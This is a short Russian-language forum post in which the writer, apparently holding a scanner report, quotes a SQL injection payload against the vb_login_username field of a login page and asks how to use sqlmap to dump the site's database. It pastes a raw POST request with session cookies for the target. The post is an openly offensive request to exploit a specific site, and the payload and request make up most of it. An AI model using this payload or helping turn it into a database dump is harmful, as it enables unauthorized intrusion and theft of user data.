вообщем уязвимость в файле /login.php

Attack details

URL encoded POST input vb_login_username was set to -1' OR 3*2*1=6 AND 000491=000491 --

как такое заправить в sqlmap и получить бд?

POST /ajax/login.php HTTP/1.1

Content-Length: 193

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http:site.com:80/

Cookie: mfsid=91olg79e3nj5nt6de6ugq5oks7; mfvb_lastvisit=1485043348; msort=views; morder=az; mfvb_sessionhash=a5613f6c416d595ef35b6db03ad466a7; loc=E_E4m6IbF_VLlaDm7ph_BwfJ46y_JHz15zI7eP9Q9gdwwJ Or1usrLEth4LHDV1uyf0w6PWeToMTTYQJ0iyccmipr2OpL5jZf ; sess=1; anj=dTM7k!M4/8DYRWSF']wIg2E?ajgksu!@wnf]meq8dWME4(EW